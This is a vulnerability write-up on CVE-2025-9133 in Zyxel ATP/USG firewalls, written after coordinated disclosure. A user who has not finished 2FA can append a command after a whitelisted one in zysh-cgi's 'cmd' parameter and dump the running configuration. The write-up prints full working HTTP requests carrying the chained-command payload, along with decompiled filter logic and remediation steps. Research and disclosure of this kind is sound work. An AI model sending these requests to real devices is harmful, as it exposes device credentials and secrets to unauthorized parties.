CVE-2025-9133: Configuration Exposure via Authorization Bypass
When the rules stop you, rewrite them in their own language
-Grace Hopper
Summary
Parallel to CVE-2025-8078
, I identified a vulnerability in the two-factor authentication (2FA) verification phase in the ATP/USG series.
A user with 2FA enabled
, after logging in, is required to enter the code received via email or authenticator to proceed; otherwise, after a few failed attempts, a logout is enforced.
However, by injecting a command into the strings sent to the zysh-cgi
binary and bypassing a kind of whitelist, it is possible to view and download the system configuration.
Let’s Jump In!
First Analysis
When logging into the device’s web interface as a user with 2FA enabled, you are directed to a form where you must enter the PIN received via email or Google Authenticator.
Entering an incorrect code multiple times redirects you back to the login page.
Access to the CGIs is restricted; in fact, attempting to download the configuration or perform a file upload results in a 302 redirect.
File Upload as 2FA user (not verified)
CVE-2025-9133: Configuration Exposure via Authorization BypassPOST /cgi-bin/file_upload-cgi HTTP/1.1 Host: redacted Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD; Content-Length: 1788 Cache-Control: max-age=0 Accept-Language: it-IT,it;q=0.9 Origin: https://redacted Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye0rVedAfy7iPKovC Upgrade-Insecure-Requests: 1 User-Agent: dummy Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: https://redacted/ext-js/index.html Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive ------WebKitFormBoundarye0rVedAfy7iPKovC Content-Disposition: form-data; name="file_type" config [..SNIP..]
CVE-2025-9133: Configuration Exposure via Authorization BypassHTTP/1.1 302 Found Date: Thu, 14 Aug 2025 15:39:54 GMT Location: / Content-Length: 185 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/">here</a>.</p> </body></html>
File Download as 2FA user (not verified)
CVE-2025-9133: Configuration Exposure via Authorization BypassGET /cgi-bin/export-cgi?category=config&arg0=passwd.conf HTTP/1.1 Host: redacted Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD Cache-Control: max-age=0 Accept-Language: it-IT,it;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: dmmy Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: https://redacted/ Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive
CVE-2025-9133: Configuration Exposure via Authorization BypassHTTP/1.1 302 Found Date: Thu, 14 Aug 2025 15:41:56 GMT Location: / Content-Length: 185 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="/">here</a>.</p> </body></html>
Analyzing requests to ZYSH-CGI
However, as soon as you reach the OTP code entry form, analyzing the requests with Burp Suite reveals requests being sent to the zysh-cgi
endpoint, which is crucial for communication with the ZLD system to query and modify the configuration.
CVE-2025-9133: Configuration Exposure via Authorization BypassPOST /cgi-bin/zysh-cgi HTTP/1.1 Host: redacted Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD [..SNIP..] filter=js2&cmd=show%20version&cmd=show%20users%20current&cmd=show%20page-customization&cmd=show%20login-page%20default-title&cmd=show%20login-page%20settings&write=0
And the response.
CVE-2025-9133: Configuration Exposure via Authorization BypassHTTP/1.1 200 OK Date: Thu, 14 Aug 2025 12:52:04 GMT Pragma: no-cache Cache-Control: no-cache Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 1397 var zyshdata0=[{'_image_number':'1','_model':'ATP100','_firmware_version':'V5.40(ABPS.0)','_build_date':'2025-05-07 05:42:54','_boot_status':'Standby'},{'_image_number':'2','_model':'ATP100','_firmware_version':'V5.40(ABPS.0)','_build_date':'2025-05-07 05:42:54','_boot_status':'Running'}]; var errno0=0; var errmsg0='OK'; var zyshdata1=[{'_No':[{'__name':'1','_Name':'test','_Type':'admin','_From':'redacted','_Country_Code':'RIP','_Country_Name':'Private IP','_MAC':'redacted','_Associated_AP':'-','_Service':'http/https(unauthorized)','_Login_Time':'00:00:21','_Idle_Time':'unlimited','_Lease_Timeout':'24:00:00','_Re_Auth_Timeout':'23:59:39','_Session_Timeout':'unlimited','_Acct__Status':'-','_Profile_Name':'N/A','_User_Info':'admin(test)','_Mobile':'N/A','_Email':'N/A','_Unique':'Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD'}]}]; var errno1=0; var errmsg1='OK'; var zyshdata2=[{'_Page_mode':'default'}]; var errno2=0; var errmsg2='OK'; var zyshdata3=[{'_Default_title':'ATP100'}]; var errno3=0; var errmsg3='OK'; var zyshdata4=[{'_login_title':'TEST','_login_title_color':'#378ec9','_login_message':'','_login_message_color':'black','_login_background_type':'color','_login_bg_color':'#36b9d2','_login_window_type':'picture','_login_window_color':'','_login_vline_color':'black','_login_vline_transparent_level':'100'}]; var errno4=0; var errmsg4='OK';
We are, in effect, sending commands to the device, even if only semi-authenticated. However, if we try to modify the commands and view the device configuration, we get nothing.
CVE-2025-9133: Configuration Exposure via Authorization BypassPOST /cgi-bin/zysh-cgi HTTP/1.1 Host: redacted Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD [..SNIP..] filter=js2&cmd=show%20running-config&write=0
CVE-2025-9133: Configuration Exposure via Authorization BypassHTTP/1.1 200 OK Date: Thu, 14 Aug 2025 15:49:01 GMT Pragma: no-cache Cache-Control: no-cache Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 50 var zyshdata0=[]; var errno0=0; var errmsg0='OK';
Injection and Configuration Viewing
It appears that there is a kind of filtering on the commands sent to the endpoint. However, by performing an injection, it is possible to bypass this restriction and view the device configuration.
CVE-2025-9133: Configuration Exposure via Authorization BypassPOST /cgi-bin/zysh-cgi HTTP/1.1 Host: redacted Cookie: authtok=Cpk8ZOnnBQ6v2OLSr3i+Gq5XanxxoxnkCpbKoBjULzAPFyJ3mLrRz3nOWFxlGBsD [..SNIP..] filter=js2&cmd=show%20version;show%20running-config&write=0
CVE-2025-9133: Configuration Exposure via Authorization BypassHTTP/1.1 200 OK Date: Thu, 14 Aug 2025 15:55:49 GMT Pragma: no-cache Cache-Control: no-cache Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 86712 Zyxel Communications Corp. image number model firmware version build date boot status =============================================================================== 1 ATP100 V5.40(ABPS.0) 2025-05-07 05:42:54 Standby 2 ATP100 V5.40(ABPS.0) 2025-05-07 05:42:54 Running ! ! language English ! hardware-watchdog-timer start ! software-watchdog-timer 60 ! interface-name ge1 sfp interface-name ge2 TIM [..SNIP..]
ZYSG-CGI : Binary Analysis
Having regained (once again) root shell access via CVE-2025-8078
, I decided to further analyze the zysh-cgi
binary to better understand its logic.
CVE-2025-9133: Configuration Exposure via Authorization Bypassroot@ATP100-TS:~# Hello ZyS- .. Uh, no.. Root shell! \o/ root@ATP100-TS:~# cd /usr/local/apache/cgi-bin/ root@ATP100-TS:/usr/local/apache/cgi-bin# ll total 119 drwxr-xr-x 2 root root 209 May 6 22:59 . drwxr-xr-x 11 root root 143 May 6 22:59 .. -rwxr-xr-x 1 root root 32772 May 6 22:59 export-cgi -rwxr-xr-x 1 root root 26280 May 6 22:59 file_upload-cgi -rwxr-xr-x 1 root root 15986 May 6 22:59 ios.cgi -rwxr-xr-x 1 root root 8390 May 6 22:59 portal_logo -rw-r--r-- 1 root root 820 Jan 13 2022 printenv -rw-r--r-- 1 root root 1074 Jan 13 2022 printenv.vbs -rw-r--r-- 1 root root 1133 Jan 13 2022 printenv.wsf -rw-r--r-- 1 root root 1261 Jan 13 2022 test-cgi -rwxr-xr-x 1 root root 13134 May 6 22:59 tgbconf.cgi -rwxr-xr-x 1 root root 17646 May 6 22:59 zysh-cgi root@ATP100-TS:/usr/local/apache/cgi-bin#
Analyzing the binary, I found several interesting points.
First Observation: main() and the fp_2 Parameter (usr_type)
In the CGI main
, after all the parameter parsing (gcgiFetchInteger
, gcgiFetchString
, etc.), there is this section:
CVE-2025-9133: Configuration Exposure via Authorization Bypassif ($fp_2) return sub_10002228(..., $fp_2); else return sub_100019a0(..., $fp_2);
Here, $fp_2
is initialized to 0x14
by default, but it can change based on usr_type
, which the server determines:
- From the IP (
REMOTE_ADDR
) viauam_find_first_match
oruam_find_first_match6
- From the
authtok=...
cookie
If you are not an admin or a "special" type, $fp_2
remains non-zero (typically 0x14
).
This is the first indication that the flow changes depending on the user type.
Next Step: Look for Differences Between the Two Paths
Examining sub_100019a0
and sub_10002228
(which are essentially two similar "engines"), analyzing the code reveals that both contain the same filter block:
CVE-2025-9133: Configuration Exposure via Authorization Bypassif (arg8) { if (arg8 == 0x14) { if (!strncmp(s1, "show version", 0xc)) goto label_permit; if (!strncmp(s1, "show users current", 0x12)) goto label_permit; ... } else { if (!strncmp(s1, "show ", 5)) goto label_permit; if (!strncmp(s1, "dir ", 4)) goto label_permit; ... } }
Here, arg8
is precisely $fp_2
-> that is, the usr_type
passed from main
.
So:
- If
usr_type
is0x14
-> very restricted allowlist (only a few exact strings). - If
usr_type
is different (and ≠ 0) -> slightly broader allowlist (anyshow
,dir
, etc.). - If
usr_type
is0
-> the entire block is skipped (no filtering at all).
Prefix Matching on String s1
The cmd
parameter of zysh-cgi
is validated only on the prefix of the full command string to determine whether it is allowed for a given user profile (e.g., usr_type == 0x14
). If the string starts with a whitelisted command (e.g., show version
), the entire content of cmd
, including any commands concatenated after ;
, is forwarded "as-is" to the backend CLI.
This means show version;show running-config;
passes validation because it starts with show version
, and the second command, not whitelisted, is still executed. Validation does not split on separators nor re-validate sub-commands.
Conversely, sending only show running-config
does not match any allowlist entry and ends up in the "blocked" branch, which rewrites it in a special form and effectively produces no useful output in the js2
path, which is why I got zyshdata0=[]
.
Context and Parameters
-
filter=js2
affects rendering: the server sets the content type based onfilter
(text/xml
only iffilter=xml
; otherwisetext/html
), and whenfilter
is present, it does not emit the HTML "shell" but only the JS fragments with the data (thezyshdata*
arrays). -
write=0
disables processing of "writecmds" (mutating commands) in the path that builds requests to the backend. The code readswrite
and uses thewritecmds
buffer only if set; withwrite=0
you remain on the "read-only" binary. -
The profile/user type controlling the allowlist is propagated as
arg8
in the executing functions; the main function selects between two slightly different paths (“engines”) based on this: if the profile is set, it callssub_10002228
; otherwise, it callssub_100019a0
.
1. Prefix and Full-String Validation
In the loop processing the commands, the code takes the entire string from the cmd
field (here s1
) and compares it against certain prefix matches:
CVE-2025-9133: Configuration Exposure via Authorization Bypassif (arg8) { if (arg8 == 0x14) { if (!strncmp(s1, "show version", 0xc)) goto label_10001c14; /* ... other few whitelisted exceptions ... */ } else { if (!strncmp(s1, "show ", 5)) goto label_10001c14; /* ...other categories... */ } }
If one of these strncmp()
calls matches, the flow jumps to the label that sends the command. There is no splitting or iteration for subcommands separated by ;
or newline: only the beginning of the string is validated.
2. Forwarding the Entire String "As-Is" (Including ;
)
At the authorizing label, the code constructs the line to send to the backend using the entire
s1
:
CVE-2025-9133: Configuration Exposure via Authorization Bypass// "Allowed" branch snprintf(&arg_0, 0x800, "%s\t|%s %d\n", s1);
Since s1
contains the entire value of cmd
, any ;
remain inside and are interpreted by the device’s CLI parser: show version;show running-config;
executes both.
3. "Not Allowed" Branch Rewrites the Command (No Splitting Here Either)
If the prefix is not whitelisted, the code does not explicitly reject it but instead rewrites the line in a special form:
CVE-2025-9133: Configuration Exposure via Authorization Bypass// "Not allowed" branch snprintf(&arg_0, 0x800, "configure terminal exit|%s %d\n", &arg_fb0);
In this case, sending only show running-config
enters this branch. In js2
mode, this path does not generate the usual zyshdata*
arrays, and the client sees zyshdata0=[]
. When using show version
, the "allowed" branch is taken and the entire concatenated string is forwarded as-is, including the second command.
4. Engine Selection Based on User Profile
The main
function chooses which execution function to use (both have the same basic logic: "prefix -> allow/rewrite"):
CVE-2025-9133: Configuration Exposure via Authorization Bypassif ($fp_2) return sub_10002228(..., $fp_2); else return sub_100019a0(..., $fp_2);
$fp_2
is derived from the authentication cookie / "usr type" and defaults to 0x14
(restricted profile): precisely the case where the allowlist is more limited and does not include show running-config
.
TLDR; Why the Payload Works
-
Input used:
filter=js2&cmd=show%20version;show%20running-config;&write=0
-
Flow:
cmd
starts withshow version
-> matches the allowlist for profile0x14
-> "allowed" branch.- At the authorizing label, the code does not split the string on
;
and forwards the entires1
to the backend -> sequential execution of both commands. - Output is serialized into JS fragments (
zyshdata*
) because you are on the "allowed" path andfilter
is present (js2
mode).
When sending only show running-config
, the prefix does not match the whitelisted commands, the flow hits the "rewrite" branch, and no useful data appears in zyshdata*
.
Impact
- Bypasses the policy applied to restricted profiles (
usr_type == 0x14
): access to non-whitelisted commands (e.g.,show running-config
) via command chaining. - Exfiltration of sensitive configurations without proper permissions (credentials, keys, secrets in configs).
- Potential extension to management commands (depending on the whitelisted surface in the other branch).
Remediation (Practical Hardening)
-
Tokenize and Validate Per-Subcommand Split
cmd
on;
and newline before validation, then check each subcommand against the allowlist. Reject the entire request if any fail. -
Block Chaining at the CGI Level If the semantics do not allow multiple commands, reject inputs containing
;
or control/pipeline characters. -
Strict and Complete Allowlist The
0x14
allowlist currently includesshow version
but notshow running-config
. Ifrunning-config
must be denied, it must not pass as part of a longer string. If allowed, it should be explicitly added to avoid rewrite shortcuts. -
No "Magic" Rewriting Avoid the path that rewrites disallowed commands into
configure terminal exit|...
: it introduces ambiguity and uncovered surfaces. Fail hard with a 4xx CGI error instead. -
Robust Parsing Use a command parser that recognizes syntax/grammar instead of relying on
strncmp
on prefixes. Alternatively, compare fully normalized strings (trim, case, spaces), not just prefixes. -
Defense in Depth
- Rate-limit and audit
zysh-cgi
invocations. - Reduce data returned by
show
for restricted profiles (server-side redaction). - Use CSRF tokens on submits; currently parameters are accepted without further checks.
- Rate-limit and audit
Proof of Understanding (Minimal, Non-Operational)
- Blocked case:
cmd=show running-config
-> does not match allowlist for profile0x14
-> rewrite branch -> no usefulzyshdata*
. - Bypass case:
cmd=show version;show running-config;
-> matches whitelisted prefix -> entire string (including;show running-config;
) is forwarded to backend, which executes both.
PoC Exploit
A PoC exploit is available here
Conclusion
The bypass is enabled by three combined flaws:
- Prefix-based validation on an untokenized string;
- Forwarding the entire string to the backend;
- "Not allowed" branch that does not fail hard but rewrites the command.
The proper fix is to enforce per-command validation, prevent chaining in the CGI, and reject requests that violate the policy, removing ambiguous shortcuts like configure terminal exit|...
.
Vulnerability Dislosure
- 2025-08-15: ZYXEL was notified via <security@zyxel.com.tw>.
- 2025-08-15: ZYXEL acknowledged receipt of my vulnerability report.
- 2025-08-19: ZYXEL assigned CVE-2025-9133 to the reported issues and informed me of their intention to publish their security advisory on 2025-09-30.
- 2025-09-08: ZYXEL requested to postpone the public disclosure date to October 21, 2025, as the firmware patch is scheduled for release on October 20, 2025, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
- 2025-10-21: ZYXEL published their security advisory, following our coordinated disclosure timeline.